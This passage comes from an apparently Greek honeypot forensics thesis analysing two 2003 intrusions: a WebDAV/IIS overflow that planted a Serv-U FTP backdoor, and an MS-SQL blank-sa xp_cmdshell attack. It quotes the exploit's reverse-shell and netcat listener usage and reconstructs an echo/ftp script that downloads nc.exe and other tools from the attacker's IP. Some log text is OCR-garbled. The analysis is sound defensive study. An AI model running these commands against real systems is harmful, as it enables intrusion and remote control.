The system cannot find the drive specified.
23. C:\WINNT\Config>g:
g:
The system cannot find the drive specified.
24 C·\WINNT\Config>dir
dir
Volume in drive C has no label
Volume Serial Number is 780E 0403
Volume Serial Number 18 / 891-0403
Directory of C:\WINNT\Config
17/05/2003 06:49p <dir> .</dir>
17/05/2003 06:49p <dir></dir>
07/12/1999 05:00a 654 general.idf
07/12/1999 05:00a 658 hindered.idf
07/12/1999 05:00a 302 msadlib.idf
17/05/2003 06:49p 370 servudaemon.ini
17/05/2003 06:49p 529 ServUStartUpLog.txt
17/05/2003 06:49p 496.836 winsecure.exe
6 File(s) 499.349 bytes
2 Dir(s) 4.560.388.096 bytes free
25. C:\WINNT\Config>exit
exit

Πίνακας 4-3γ

Τέλος ελέγχει αν υπάρχουν άλλοι δίσκοι, και για d:, e:, f: και g:, πίνακας 4-3 β, πίνακας 4-3 γ βήμα 20 έως και 23 και τερματίζει την σύνδεση του.

Ο blackhat τώρα συνδέεται στον ftp server που ενεργοποίησε στην πόρτα 1337 (Πίνακας 4-8).

Σε αυτό το SESSION βλέπουμε ότι συνδέθηκε με τον ftp server που εγκατέστησε στο honeypot σαν User TmZ με Password Admin όπως φαίνεται στον παρακάτω πίνακα 4-8, κατά την σύνδεση με τον ftp server φαίνεται ότι ο χρήστης TmZ εκτελεί εντολές διαχείρισης

220 Serv-U FTP Server v3.0 for WinSock ready
AUTH M
530 Not logged in.
USER TmZ
331 User name okay, need password.
PASS Admin
230 User logged in, proceed.
SITE MAINTENANCE
230-Switching to SYSTEM MAINTENANCE mode.
900-Version=3.0.0.17
900-
$Registration Key = UEyz459 wa BR41 VRk Ikh4d Yw9f8v4J/AHLvpOK8tqOkyz4D3 wbymi11 VkKjgdAelPDKSWM5doXJspace{2.1}{C} VkKjgAelPDKSWM5doXJspace{2.1}{C} VkKjgAelPDKSWM5doXJspace{2.1}{C} VkKjgAelPDKSWM5doXJspace{2.1}{C} VkKjgAelPDKSWM5dOXJspace{2.1}$
gW64YIyPdo+wAGnUBuycB
900-User=peterson
900-EMail=goranperson@spray.se
900-Reseller=
900-Time=1023901858
900-Type=1
900-Size=1
900-Days=730
900-MajorVersion=3
900 MinorVersion=0
GETDOMAINLIST
200 Domain=st 0.0.0.0 1337 1 2 0 1
GETSTATUSINFO
200 Info=TMZ 192.168.0.2:1337 1 62.216.8.36 SITE MAINTENANCE c:\ 1053222647 4 0 0 0 15 0 0 0 0 0 0 2 0
0.000000 0.000000 0 0.000000

GETUSERINFO

200 Info=TMZ|192.168.0.2:1337|1|62.216.8.36||SITE MAINTENANCE|c:\||1053222647|4|0|0|0|15|0|0|0|0|0|2|0| 0.000000|0.000000|0|0.000000

Πίνακας 4-8

4.1.4 Πληροφορίες για την πηγή της επίθεσης.

Καθώς συλλέγουμε στοιχεία για την επίθεση, είναι χρήσιμο να αναζητήσουμε μερικές πληροφορίες για την μηχανή που ξεκινάει η επίθεση.

Ενδιαφέρον πληροφορία είναι, ποια είναι η φυσική θέση αυτής της IP που επιτίθεται. Μπορούμε να μάθουμε την χώρα προέλευσης της IP, τον οργανισμό που έχει δεσμεύσει κάποιο σύνολο από IP δίκτυα και εκεί ανήκει η IP διεύθυνση του επιτιθέμενου, ακόμα μπορούμε να καταλάβουμε αν είναι Dial up σύνδεσή ή μια από τις κύριες μηχανές του οργανισμού.

Αυτήν την πληροφορία μπορούμε να την πάρουμε, χρησιμοποιώντας το windows πρόγραμμα **Cyber Kit**, το οποίο διαθέτει εργαλείο **whois**, μπορούμε να βρούμε σε ποιό δίκτυο και οργανισμό ανήκει η συγκεκριμένη IP. Εμείς επιλέγουμε τον **whois server**, που περιέχει την βάση δεδομένων με τις πληροφορίες των δικτύων των οργανισμών και πληκτρολογούμε την IP που θέλουμε να δούμε που ανήκει. Οι **whois** servers που χρησιμοποιούνται για να καλύψουμε σχεδόν όλες τις χώρες είναι:

whois.ripe.net, whois.iana.org, whois.arin.net, whois.apnic.net, whois.lacnic.net

Στην περίπτωση μας η ip **62.216.8.36** προέρχεται από Ολλανδία και πρόκειται για κάποιον χρήστη ευριζωνικής σύνδεσης, όπως μπορούμε να καταλάβουμε από τα πεδία netname και descry. Δεν μπορούμε βέβαια να εξακριβώσουμε εάν ο χρήστης εξαπόλυσε την επίθεση από αυτή την μηχανή ή χρησιμοποιείται από έναν **blackhat** που την έχει καταλάβει νωρίτερα.

netnum: 62.216.6.0 - 62.216.19.255 netname: CISBRD-CUST-DHCP-NET4 descr: Cistron Broadband BV country: NL

🔁 WhoIs -	- whois.ripe.ne	et						
<u>Eile E</u> dit	Options View	<u>Window H</u> elp						
whois.ripe.	.net	62.216.8.36	-	\$ 🛛	x Q	* - 5	• 😭 📿	
% This is the % The object % % Rights re: % See http:	e RIPE Whois se cts are in RPSL stricted by copyr //www.ripe.net/	erver. format. ight. ripencc/pub-services/d	b/copyright.hl	tml			14	<u>^</u>
inetnum: netname: descr: country: admin-c: tech-c: status: mnt-by:	62.216.6.0 - 62 CISBRD-CUS1 Cistron Broadbar NL CBB1-RIPE CIP-RIPE ASSIGNED PA CISTRON-MNT	.216.19.255 F-DHCP-NET4 nd BM						
remarks: remarks: remarks: remarks: remarks: remarks: notify: ri changed: changed: source:	This space is a on ADSL conne users; send abu abuse@cistron. pe-notify@cistro marcoh@cistro marcoh@cistro RIPE	nument ssigned for use ections to home use complaints to nl n.nl n.nl 20020514 on.nl 20021025						-
							NU	M //.



Επίσης μπορούμε να χρησιμοποιήσουμε το **whois** εργαλείο του linux. Είναι το γνωστό εργαλείο που υπάρχει εξορισμού στα unix συστήματα και στέλνει ερώτηση στους **whois servers**, για να πάρει τα ίδια αποτελέσματα με το αντίστοιχο εργαλείο των windows που είδαμε παραπάνω.

Συνοπτικές πληροφορίες από το manual του linux whois: WHOIS(1)

NAME

whois, fwhois - query a whois or nicname database

SYNOPSIS

```
whois [-v] [-r|-n] [-h server] [-p port] [-t timeout] [--]
query[@server[:port]]
```

DESCRIPTION

whois formats and sends queries to any RFC954 whois server and prints the results to standard output.

4.1.5 Αναγνώριση του Exploit που Χρησιμοποιήθηκε

Αναζητώντας στο WEB για webdav vulnerabilities (<u>http://www.securityfocus.com/bid/2483</u>) ανακαλύπτουμε ότι υπάρχει ένα **vulnerability**για webdav/ntdll.dll overflow στον IIS. Επίσης βρήκαμε ένα exploit σε γλώσσα προγραμματισμού **C**, το οποίο πολύ πιθανόν να χρησιμοποιήθηκε από τον **blackhat**.

Ας δούμε λοιπόν τι έγινε. Όπως προαναφέραμε το πιθανότερο **exploit** που χρησιμοποιήθηκε, λειτουργεί όπως το C πρόγραμμα που βρίσκεται στην ηλεκτρονική διεύθυνση <u>http://www.securityfocus.com/bid/7116/exploit/</u>.

Παρακάτω (Πίνακας 4-9) Βλέπουμε τα σχόλια που υπάρχουν στην αρχή του exploit :

/**	***************************************
/*	[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* -	*/
/*	this is the exploit for ntdll.dll through WebDAV. */
/*	run a netcat ex: nc -L -vv -p 666 */
/*	wb server.com your_ip 666 0 */
/*	the shellcode is a reverse remote shell */
/*	you need to pad a bit the best way I think is launching */
/*	the exploit with pad = 0 and after that, the server will be $*/$
/*	down for a couple of seconds, now retry with pad at 1 */
/*	and so onpad 2 pad 3 if you haven't the shell after */
/*	something like pad at 10 I think you better to restart from */
/*	pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/*	on all the others servers it was at 2,3,4, etcsometimes */
/*	you can have the force with you, and get the shell in 1 try */
/*	sometimes you need to pad more than 10 times ;) */
/*	the shellcode was coded by myself, it is SEH + ScanMem to $*/$
/*	find the famous offsets (GetProcAddress) */
/*	I know I code like a pig, my english sucks, and my tech too */

it is my first exploit..and my first shellcode..sorry :P */ if you have comments feel free to mail me at: */ /* */ mailto: kralor@coromputer.net /* or visit us at www.coromputer.net . You can speak with us *//* at IRC undernet channel #coromputer */ ok now the greetz: */ /* [El0d1e] to help me find some information about the bug :) */ /* tuck to support me;) */ /* and all my friends in coromputer crew! hein les poulets! =) */ */ /* Tested by Rafael [RaFa] Nunez rnunez@scientech.com.ve */ /* */ /* (take off the WSAStartup, change the closesocket, change */ /* */ headers and it will run on linux boxes ;pPpPpP). */



Αυτό το **exploit**, δημιουργεί ένα **buffer overflow** στον **IIS** και επιστρέφει **shell** σε κάποια πόρτα που έχει ανοιχτεί στον υπολογιστή του επιτιθέμενου.

Περισσότερες πληροφορίες για **buffer overflow**, υπάρχουν στην πτυχιακή εργασία του Δημήτριου Πρίτσου, που υλοποιήθηκε στο Internet Systematics Lab του ΕΚΕΦΕ «Δημόκριτος», για το Τεχνολογικό Ινστιτούτο Αθηνών, με θέμα «Εντοπισμός επιθέσεων κακόβουλων χρηστών που βασίζονται σε αδυναμίες υπερχείλισης μνήμης (Buffer Overflow)»

Για να ανοιχτεί μια **Port** στον **client**, όπως προτείνει και ο δημιουργός του **exploit** στα αρχικά σχόλια, χρησιμοποιείται το **netcat (nc.exe)** με παραμέτρους :

Nc.exe –L –vv –p <αριθμός πόρτας>

Οπότε εκτελώντας το C πρόγραμμα με παραμέτρους :

Оvoµa <target_IP> <Source_IP> <Port> <pad>

Target_IP	: Η ΙΡ Διεύθυνση του θύματος
Source_IP	: Η ΙΡ Διεύθυνση του επιτιθέμενου
Port	: Η Port που θα ανοίξει για shell
Pad	: Πλήθος byte που θα σταλούν για να γεμίσουν (pad) τον buffer και να
προκαλέσουν την υπ	τερχείλιση . (τιμές 1, 2, 3)

Επιχειρείται, δηλαδή το **exploit** με την κατάλληλη τιμή **pad** ώστε να πετύχει η υπερχείλιση της μνήμης και να εκτελεστεί κώδικας στον υπολογιστή θύμα. Ο κώδικας αυτός θα δώσει στον επιτιθέμενο ένα shell του υπολογιστή θύμα.

Δεύτερη περίπτωση exploit που μπορεί να χρησιμοποιήθηκε είναι σε γραφικό περιβάλλον, με την ίδια φιλοσοφία του πρώτου, μόνο που αντί να εκτελείται σε command line το exploit, τρέχει ένα GUI όπως φαίνεται παρακάτω.

Iocalhost 10 -> 254 Exploit Stop satan's ip satan's port custom pads on/of 192.168.1.1 666 208,209,205,206,12,215 ☑ status status building bufferDONE Checking WebDavFOUND Trying with custom pads OK Connecting to 'localhost' .CONNECTED trying ret addr 0x00d000d0CLOSED	target	paddir	ng			_
satan's ip satan's port custom pads on/of 192.168.1.1 666 208,209,205,206,12,215 ☑ status building bufferDONE Checking WebDayFOUND Trying with custom pads OK Connecting to 'localhost' .CONNECTED trying ret addr 0x00d000d0CLOSED	localhost	10	-> 254	Exploit	St	op
192.168.1.1 666 208,209,205,206,12,215 ✓ status building bufferDONE Checking WebDavFOUND Trying with custom pads OK Connecting to 'localhost' .CONNECTED trying ret addr 0x00d000d0CLOSED	satan's ip	satan's po	ort custom	pads		on/of
status building bufferDONE Checking WebDavFOUND Trying with custom pads OK Connecting to 'localhost' .CONNECTED trying ret addr 0x00d000d0CLOSED	192.168.1.1	666	208,20	9,205,206,12	215	
building bufferDONE Checking WebDayFOUND Trying with custom pads OK Connecting to 'localhost' .CONNECTED trying ret addr 0x00d000d0CLOSED	status					
	building bufferDO Checking WebDav Trying with custom p Connecting to 'local trying ret addr 0x00c	NE FOUND bads OK host' .CONNEC 1000d0CLOSI	TED ED			

Να σημειωθεί ότι και εδώ γίνεται χρήση του netcat για να ανοίξει πόρτα διασύνδεσης από τον επιτιθέμενο.

4.2 Δεύτερη Περίπτωση

Στην δεύτερη περίπτωση θα ακολουθήσουμε μια IP που χρησιμοποίησε διαφορετικά μέσα για να πετύχει τον στόχο της, από την πρώτη περίπτωση. Βέβαια θα ανακαλύψουμε ότι δεν υπάρχει μεγάλη διαφορά από την πρώτη στην πολιτική της επίθεσης, αλλά θα πάρουμε περισσότερα στοιχεία για τον τελικό σκοπό αυτών των επιθέσεων.

Η επόμενη IP που θα ασχοληθούμε, όπως φαίνεται στον Πίνακα 4-10 στις γραμμές 13 έως και 23, είναι η 217.81.125.206.

4.2.1 Ενδείξεις Επίθεσης

Παρακολουθώντας τα alert που παράχθηκαν από το snort , θα δούμε κάποια δραστιριότητα προς το windows honeypot.

Ας δούμε αναλυτικά τις κινήσεις που γίνανε:

Πρώτα παρατηρούμε ότι κάνει **Ping** και μάλιστα μόνο στο windows 2000 **honeypot**, γραμμή 13,14,15 και 16. Ενώ στην συνέχεια κάνει επίθεση στον **SQL server** *πίνακας 4-10* γραμμή 17 έως και 23.

Από αυτή την πληροφορία μπορούμε να καταλάβουμε ότι ο επιτιθέμενος ήξερε ότι υπάρχει αυτός ο υπολογιστής στο δίκτυο με ανοιχτό **SQL server** πιθανότατα από προηγούμενο **scan** και για αυτό ήταν σε θέση να πραγματοποιήσει ένα ακριβές και αστραπιαίο χτύπημα.

To **snort** καταγράφει την επίθεση σαν *MS-SQL xp_cmdshell - program execution* (Πίνακας 10 Γραμμή 17 -23).

13 .05/17-19:30:03.952776 [**] [1:382:4] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 217.81.125.206 ->192.168.0.2 14. 05/17-19:30:04.950139 [**] [1:382:4] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 217.81.125.206 ->192.168.0.2 15. 05/17-19:30:05.971183 [**] [1:382:4] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 217.81.125.206 ->192.168.0.2 16. 05/17-19:30:07.087908 [**] [1:382:4] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 217.81.125.206 ->192.168.0.2 17. 05/17-19:30:20.255764 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61002 -> 192.168.0.2:1433 18. 05/17-19:31:48.256347 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61050 -> 192.168.0.2:1433 19. 05/17-19:31:59.349316 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61052 -> 192.168.0.2:1433 20. 05/17-19:32:07.832264 [**] [1:687:4] MS-SQL xp_cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61061 -> 192.168.0.2:1433 21. 05/17-19:32:16.054043 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61063 -> 192.168.0.2:1433 22. 05/17-19:32:25.935894 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61068 -> 192.168.0.2:1433 23. 05/17-19:32:39.743585 [**] [1:687:4] MS-SQL xp cmdshell - program execution [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 217.81.125.206:61073 -> 192.168.0.2:1433

Πίνακας 4-10

4.2.2 Προσδιορισμός της επίθεσης και της αδυναμίας

Η επίθεση βασίζεται σε ένα Vulnerability του MS-SQL server ο οποίος, κατά την εγκατάσταση σαν προεπιλογή, έχει κενό password στον χρήστη sa (system administrator). Το 80% των υπολογιστών με SQL server έχουν κενό password για τον χρήστη sa. Το vulnerability το περιγράφει το CERT σαν

Microsoft SQL Server and Microsoft Data Engine (MSDE) ship with a null default password

http://www.kb.cert.org/vuls/id/635463

Το μήνυμα του **snort** μας λέει ότι εκτελέστηκε η ρουτίνα **xp_cmdshell** του **MS-SQL server**, την οποία εκτελώντας την σου δίνει **command shell** του λειτουργικού. Περισσότερες πληροφορίες σχετικά με αυτό το **vulnerability** του MS-SQL server, υπάρχουν στο κείμενο : <u>www.giac.org/practical/Adrian Hammill GCIH.doc</u>

Παρακάτω, στην εικόνα 4-5, βλέπουμε την πρώτη σύνδεση του επιτιθέμενου προς την πόρτα 1433 και στην συνέχεια, φαίνεται να συνεχίζει να κάνει συνδέσεις προς αυτή την πόρτα.

t.log - Ethereal				•
a <u>E</u> dit <u>V</u> iew g	<u>Capture Analyze H</u>	elp		
B X		🗢 📭 🗗 🖼 🔅	× 🞯	
. Time	Source	Destination	Protocol	info
1 19;30;16,304	262 217,81,125,206	192.168.0.2	TCP	61002 > ns=sql=s [SYN] Seq=1055558228 Ack=0 Win=33792 Len=0 MSS=1452 W
2 19:30:16.304	514 192.168.0.2	217.81.125.206	TCP	<pre>ws-sql-s > 61002 [SYN, ACK] Seq=1254662412 Ack=1055558229 Win=17424 Le</pre>
3 19:30:16,483	684 217,81,125,206	192.168.0.2	TCP	61002 > ws-sql-s [ACK] Seq=1055558229 Ack=1254662413 Win=45184 Len=0 T
4 19:30:16,511	659 217,81,125,206	192.168.0.2	TBS	TDS7/8 Login Packet
5 19:30:16.512	894 192.16B.0.2	217.81.125.206	TBS	Response Packet
6 19:30:16,849	927 217,81,125,205	192.168.0.2	TCP	61002 > Ms-sql-s [ACK] Seq=1055558379 Ack=1254662813 Win=45134 Len=0 1
7 19:30:20,255	764 217,81,125,206	192.168.0.2	TBS	Query Packet
8 19:30:20.336	438 192.168.0.2	217.81.125.206	TDS	Response Packet
9 19:30:20,538	475 217,81,125,206	192.168.0.2	TCP	61002 > ms=sql=s [RST] Seq=1055558455 Ack=1254662813 Win=0 Len=0
10 19:31:46,146	569 217,81,125,205	192.168.0.2	TCP	61050 > ms-sql-s [SYN] Seq=1078337801 Ack=0 Win=33792 Len=0 MSS=1452 U
11 19:31:46.146	835 192.168.0.2	217,81,125,206	TCP	ws-sql-s > 61050 [SYN, ACK] Seq=1277160436 Ack=1078337802 Win=17424 Le
12 19:31:46,367	225 217.81,125,206	192.168.0.2	TCP	61050 > ws-sql-s [ACK] Seq=1078337802 Ack=1277160437 Win=45184 Len=0 7
13 19:31:46.531	019 217,81,125,206	192.168.0.2	TDS	TDS7/8 Login Packet
14 19:31:46.532	262 192.168.0.2	217.81.125.206	TBS	Response Packet
15 19:31:45,825	407 217,81,125,205	192.168.0.2	TCP	61050 > ms-sql-s [ACK] Seq=1078337952 Ack=1277160837 Win=45134 Len=0
16 19:31:48,256	347 217,81,125,206	192.168.0.2	TBS	Query Packet
17 19:31:48.272	372 192.168.0.2	217.81.125.206	TDS	Response Packet
18 19:31:48.507	065 217.81.125.205	192,168.0.2	TCP	61050 > ms=sql=s [RST] Seg=1078338085 Ack=1277160837 Win=0 Len=0
19 19:31:52.713	708 217.81.125.205	192 168 0.2	TCP	61051 > ms-sql-s (SYN) Seq=1080016711 Ack=0 Win=33792 Len=0 MSS=1452 (
20 19:31:52.714	038 192 168 0 2	217.81.125.206	TCP	ws-sql-s > 61051 [SYN, ACK] Sequ1278837330 Arku1080016712 Winu17424 [/
21 19+31-52 917	407 217 81 125 205	192, 168, 0, 2	TCP	\$1051 > as-sal-s [AEK] Sec-1000016712 Ack=1278837331 Mino45184 Leng0 1
22 19+31-57 426	795 217 81 125 205	192,168,0.2	TRS	linknown Parket Tunet 18
23 19:31:57.427	293 192 16B 0 2	217 81 125 205	TCP	as-sal-s > 61051 [FIN, ACK] Sect1278837331 Arks1080016753 Mirc17383 [J
ave 1 (78 butes	on wire. 78 butes capt	217.01.125.200	iu A	No off 5 / drote (Fire Hun) deg-12/00/2012 Hun-1000/10/35 #IF-1/303 D
hernet II. Snc:	00:e0:b0:2b:e3:d2, Ist	1: 00:04:e2:33:84:16	Bet Odder 1	10 148 0 1 (10 148 0 1)
ansmission Contr	ol Protocol, Src Port;	61002 (61002), Dat P	ort: as-sql-	s (1433), Seq: 1055558228, Ack: 0, Len: 0
00 04 02 77 04	16 00 40 50 25 42 40	09 00 45 90 2	- F	
00 40 35 65 40	00 71 06 9h c7 49 51	7d ce 8f e9	• • • • • • • • • • • •	
AA 40 00 00 40	99 3e ea 8a 54 00 00	00 00 b0 02 K. L.		
4b 02 ee 4a 05		the ter is is		
4b 02 ee 4a 05 84 00 c2 d7 00	00 02 04 05 ac 01 03	05 03 01 01		
4b 02 ee 4a 05 84 00 c2 d7 00 08 0a 00 00 00	00 02 04 05 ac 01 03 00 00 00 00 00 01 01	04 02		

Εικόνα 4-5

test.log - Ethereal				×
<u>File E</u> dit <u>V</u> iew <u>C</u> apture <u>A</u> nalyze <u>H</u> elp				
		X 🔯		
No., Time Source	Destination	Protocol	Info	-
1 19:30:16.304262 217.81.125.206	143,233,75,2	TCP	61002 > ms-sql-s [SYN] Seq=1055558228 Ack=0 Win=33792 Len=0 MSS=1452 WS=	
2 19:30:16.304514 143.233.75.2	217,81,125,206	TCP	ms-sql-s > 61002 [SYN, ACK] Seq=1254662412 Ack=1055558229 Win=17424 Len=	
3 19:30:16.483684 217.81.125.206	143.233.75.2	TCP	61002 > ms-sql-s [ACK] Seq=1055558229 Ack=1254662413 Win=45184 Len=0 TS\	
4 19:30:16.511659 217.81.125.206	143,233,75,2	TDS	TDS7/8 Login Packet	
5 19:30:16.512894 143.233.75.2	217,81,125,206	TDS	Response Packet	
6 19:30:16.849927 217.81.125.206	143,233,75,2	TCP	61002 > ms-sql-s [ACK] Seq=10555583/9 Ack=1254662813 Win=45134 Len=0 15	
7 19:50:20,255/64 217,81,125,206	145,255,75,2	TDC	Query Facket	
0 13:30:20,335436 143,233,73,2	217,01,120,200	TCP	Response Facket	
10 19+31+46 146569 217 81 125 206	143,233,75,2	TCP	61050 > ms-sql-s [SYN] Seg=1055556455 HCK-1254662615 WIN-V Len-V	12
11 19+31+46 146835 143 233 75 2	217 81 125 206	TCP	ms-sgl-s > 61050 [SYN_ACK] Seg=1277160436 Ack=1078337802 Win=17424 Lens	
12 19:31:46.367225 217.81.125.206	143.233.75.2	TCP	61050 > ms-sql-s [ACK] Seq=1078337802 Ack=1277160437 Win=45184 Len=0 TSV	
13 19:31:46.531019 217.81.125.206	143.233.75.2	TDS	TDS7/8 Login Packet	
14 19:31:46.532262 143.233.75.2	217,81,125,206	TDS	Response Packet	
15 19:31:46.825407 217.81.125.206	143,233,75,2	TCP	61050 > ms-sql-s [ACK] Seq=1078337952 Ack=1277160837 Win=45134 Len=0 TSV	
16 19:31:48.256347 217.81.125.206	143,233,75,2	TDS	Query Packet	
17 19:31:48.272372 143.233.75.2	217,81,125,206	TDS	Response Packet	
18 19:31:48.507065 217.81.125.206	143,233,75,2	TCP	61050 > ms-sql-s [RST] Seq=1078338086 Ack=1277160837 Win=0 Len=0	
19 19:31:52.713708 217.81.125.206	143.233.75.2	TCP	61051 > ms-sql-s [SYN] Seq=1080016711 Ack=0 Win=33792 Len=0 MSS=1452 WS=	
20 19:31:52.714038 143.233.75.2	217,81,125,206	TCP	ms-sql-s > 61051 [SYN, ACK] Seq=1278837330 Ack=1080016712 Win=17424 Len=	
21 19:31:52,913407 217,81,125,206	145,235,75,2	TCP	61051 > ms-sql-s [ACK] Seq=1080016/12 Ack=12/883/331 Win=45184 Len=0 15	
22 19:31:57.426/96 217.81.125.206	143,233,75,2	TUS TCD	Unknown Packet Type: 18	
25 19:51:57,427295 145,255,75,2	217.81.125.206	ILP	MS-SQI-S / 61051 [FIN, HUK] Seq=12/865/551 HCK=1080016/55 W1N=1/585 Len=	*
Frame 1 (78 bytes on wire, 78 bytes capture Ethernet II, Src: 00:e0:b0:2b:e3:d2, Jst: 0 Internet Protocol, Src Addr: 217.81.125.206 Transmission Control Protocol, Src Port: 61	d) 0:04:e2:33:84:16 ; (217,81,125,206), 002 (61002), Ist Po	Dst Addr: 1 rt: ms-sql-	143.233.75.2 (143.233.75.2) s (1433), Seq: 1055558228, Ack: 0, Len: 0	< NN >
•		111	· · · · · · · · · · · · · · · · · · ·	
0000 00 04 e2 33 84 16 00 e0 b0 2b e3 d2 08 0010 00 40 3b 65 40 00 71 06 9b c7 d5 f1 7d 0020 4b 02 ee 4a 05 99 3e ea 8a 54 00 00 00 0030 84 00 c2 d7 00 00 02 d4 05 ac 01 03 03 0040 08 0a 00 00 00 00 00 00 00 00 01 01 04	00 45 803 ce 8f e9 .@;e@.q. 00 b0 02 03 01 01	.+E. Q} .T		•
Filter:			Reset Apply File: test.log	

Το **exploit** που χρησιμοποιήθηκε, εκμεταλλεύεται την ευπάθεια του κενού password του sql-server, και τρέχει την ρουτίνα **xp_cmdshell**, έτσι εκτελεί cmd εντολές. Κάθε φορά που εκτελείται το **exploit** καλείται και η ρουτίνα **xp_cmdshell**, και μπορεί να εκτελέσει μόνο μια εντολή. Γι' αυτόν τον λόγο, στον κατάλογο που έχει δημιουργήσει το **snort** για την IP 217.81.125.206, βλέπουμε πολλές συνδέσεις στην πόρτα 1433. Ένα μέρος του καταλόγου αυτού φαίνεται στον Πίνακα 4-11.

-				
-rw	1 galex	galex	773 May 17 2003 SESSION:61002-1433	
-rw	1 galex	galex	4 May 17 2003 SESSION:61047-1433	
-rw	1 galex	galex	194 May 17 2003 SESSION:61050-1433	
-rw	1 galex	galex	2 May 17 2003 SESSION:61051-1433	
-rw	1 galex	galex	194 May 17 2003 SESSION:61052-1433	
-rw	1 galex	galex	2 May 17 2003 SESSION:61057-1433	
-rw	1 galex	galex	194 May 17 2003 SESSION:61061-1433	
-rw	1 galex	galex	2 May 17 2003 SESSION:61062-1433	

Πίνακας 4-11

4.2.3 Η εξέλιξη της επίθεσης

Τα SESSIONS που καταγράφει το Snort, δεν περιέχουν τις εντολές που γράφει ο επιτιθέμενος αλλά μπορούμε να βγάλουμε κάποιο συμπέρασμα από τα αποτελέσματα που επιστρέφουν μετά την εκτέλεση της κάθε εντολής. Για παράδειγμα, στον πίνακα 4-12, το φωτισμένο σημείο μπορούμε να καταλάβουμε ότι είναι το αποτέλεσμα που έχει γυρίσει μετά από την εκτέλεση της εντολής **Dir**.

qdV`ddd+COM	IPYsa192.16	8.0.2,1433ODBCmastermaster^E%Changed data	base context	to 'master'.BODI
us_englishbG'C	Changed lang	guage setting to us_english.BODIiso_1103319660	96Microsoft	SQL
Servero409640	96output@ <mark>\</mark>	Volume in drive		
C has no label.	.D Volume S	Serial Number is 789F-0403" Directory of c:\^17/0	<mark>5/2003 06:4</mark>	19p 163
apis.txtz25/02/				
2003 02:05p	<dir></dir>	Documents and Settings\10/04/2003 02:16p	<dir></dir>	InetpubZ14/04/2003
11:28a				

<dir> M</dir>	SSQL7h10/04/2	2003 02:15p	<dir></dir>	Program F	ilesV22/04/2003	05:41p	<pre>>DIR></pre>
tempV21							
/04/2003 02:18p	<dir></dir>	testX05/05/20	003 01:44p	<dir></dir>	WINNTZ	1 File	(s)
63 bytesd	7 Dir(s) 4.56	0.322.560 byte	<mark>s freey</mark>				

Πίνακας 4-12

Τα επόμενα SESSIONS που ακολουθούν δεν μας βοηθούν να καταλάβουμε τι κάνει ο επιτιθέμενος. Βλέποντας όμως το SESSION:61126-1433 θα πάρουμε κάποιες απαντήσεις Πίνακας 4-13.

qV`ddd+COMPYsa192.168.0.2,1433ODBCmastermaster^E%Changed database context to 'master'.BODI us_englishbG'Changed language setting to us_english.BODIiso_110331966096Microsoft SQL Servero40964096<outputdUser (217.81.12

5.206:(none)): open 217.81.125.206 "Invalid command.^M ascii get svc.exe get svuser.dll get nc.exe bye

Πίνακας 4-13

Το SESSION του πίνακα 4-13, περιέχει εντολές ftp, που μας οδηγούν εύκολα να καταλάβουμε τι έγινε. Δηλαδή, ο επιτιθέμενος εκτέλεσε πιθανότατα τις εξής εντολές (Πίνακας 4-14):

echo open 217.81.125.206 > xxx.txt
 echo user fxp >>xxx.txt
 echo fxp >>xxx.txt
 echo ascii >> xxx.txt
 echo get svc.exe >> xxx.txt
 echo get svuser.dll >> xxx.txt
 echo get nc.exe >> xxx.txt
 echo bye >> xxx.txt

9. *ftp -i -v -n -s:xxx.txt*

Πίνακας 4-14

Δηλαδή, δημιουργεί ένα text αρχείο με κάποιο όνομα (π.χ. xxx.txt) πίνακας 4-14 γραμμή 1 έως 8. και στην συνέχεια εκτελεί την ftp εντολή (γραμμή 9). Παρόμοια μέθοδος με την πρώτη επίθεση όπως φαίνεται στον Πίνακας 4-3α γραμμή 2 έως και 10.

Ουσιαστικά δηλαδή, ανοίγει σύνδεση με το IP που πραγματοποίησε την επίθεση και κατεβάζει τρία αρχεία στο honeypot, svc.exe, svuser.dll και nc.exe.

Το ftp SESSION που άνοιξε το βλέπουμε στον πίνακα 4-15

Ξέροντας λοιπόν τα Port που άνοιξαν οι συνδέσεις για την μεταφορά των αρχείων μπορούμε να δούμε και τα περιεχόμενα των αρχείων.

220 ready
USER fxp
331 User name okay, need password.
PASS fxp
230 User logged in, proceed.
TYPE A
200 Type set to A.
PORT 192,168,0,2,4,62
200 PORT Command successful.
RETR svc.exe
150 Opening ASCII mode data connection for svc.exe (569344 bytes).
226 Transfer complete.
PORT 192,168,0,2,4,63
200 PORT Command successful.
RETR svuser.dll
150 Opening ASCII mode data connection for svuser.dll (2528 bytes).
226 Transfer complete.
PORT 192,168,0,2,4,64
200 PORT Command successful.
226 Transfer complete.
200 PORT Command successful.
150 Opening ASCII mode data connection for svuser.dll (2528 bytes).

226 Transfer complete.
200 PORT Command successful.
RETR nc.exe
150 Opening ASCII mode data connection for nc.exe (59392 bytes).
226 Transfer complete.
QUIT
221 Goodbye!
150 Opening ASCII mode data connection for nc.exe (59392 bytes).
226 Transfer complete.
221 Goodbye!

Πίνακας 4-15

